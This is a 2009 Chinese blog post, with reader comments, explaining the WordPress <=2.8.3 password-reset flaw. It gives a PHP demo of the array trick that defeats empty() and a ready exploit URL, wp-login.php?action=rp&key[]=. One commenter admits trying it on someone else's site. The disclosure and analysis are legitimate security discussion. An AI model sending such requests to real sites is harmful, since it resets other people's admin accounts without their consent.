百度空间 | 百度首页 
 
查看文章
 
wordpress一个有意思的bug
2009-08-11 21:46
WordPress <= 2.8.3 Remote admin reset password

这个漏洞又给我们提纲了一个非常有意思的tips:

<?php
//test.php
var_dump($key);
var_dump(empty($key));
?>

test.php?key=
string(0) "" bool(true)

test.php?key[]=
array(1) { [0]=> string(0) "" } bool(false)

哈哈,很完美的pass了empty($key),回到wordpress里的代码:

//wp-login.php
function reset_password($key) {
global $wpdb;
$key = preg_replace('/[^a-z0-9]/i', '', $key);
if ( empty( $key ) ) //this empty!!
return new WP_Error('invalid_key', __('Invalid key'));
$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));

提交:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=

对方的密码就被修改拉!!!




类别:默认分类 | 添加到搜藏 | 浏览() | 评论 (15)
 
最近读者:
 
网友评论:
1
2009-08-11 22:46 | 回复
汗!
 
2
2009-08-11 22:56 | 回复
正想和你聊聊此事呢!没想到黑锅这么快写出心得来了!
 
3
2009-08-11 23:15 | 回复
pass empty()不准确吧

手册里:

The following things are considered to be empty: "" (an empty string)0 (0 as an integer)"0" (0 as a string)NULLFALSEarray() (an empty array)var $var; (a variable declamred, but without a value in a class)empty()这样处理完全正确
这个再次说明了:对外部变量   一定要限制好类型阿
 
4
2009-08-11 23:21 | 回复
回复Ryat:
我是在应用层面说的,对于wp里的代码 就相当与'pass'拉
 
5
2009-08-11 23:22 | 回复
罪过,我上午看到的时候也试着更改了人家的密码。
 
6
2009-08-11 23:44 | 回复
我不得不说的一个事情就是, 你已经2到某个极致上去了.....
 
7
2009-08-11 23:54 | 回复
比较神奇的是我以味千担保(小我做证)
密码没被改啊

ps的或者这个漏洞不是这个回事?
 
8
2009-08-12 00:14 | 回复
这个重置的是user_activation_key=null的第一条记录
 
9
2009-08-12 00:22 | 回复
还是ryat强大
哈哈
 
10
2009-08-12 00:51 | 回复
密码不会被改的,wp会验证当时注册该WP BLOG的e-mail信息
如果一致则发信,如果不同会告诉你ID不一致无法发信。
这bug只是YY。。
 
11
2009-08-12 00:57 | 回复
更让我汗的貌似黑锅是使用wp-login.php?checkemail=newpass
进行设置密码的,结果是返回了去查收密码但是那个邮箱并不是你的
而WP管理员的…真实性有待证实。
 
12
2009-08-12 02:21 | 回复
汗上加汗的是楼上测试过没有?有的话怎么不知道那是提交http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]= 后返回的介面
 
13
2009-08-12 08:44 | 回复
测试了,除非你社工到他的管理邮箱 不然就用CC刷爆他的邮箱 哈哈
 
15
2009-08-12 08:55 | 回复
我x 摆渡老是删除回复.
to all:
其实我只是想表达那个tips :)

 
16
2009-08-12 11:34 | 回复
强大是强大,但是没用,只能搞搞恶作剧。
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu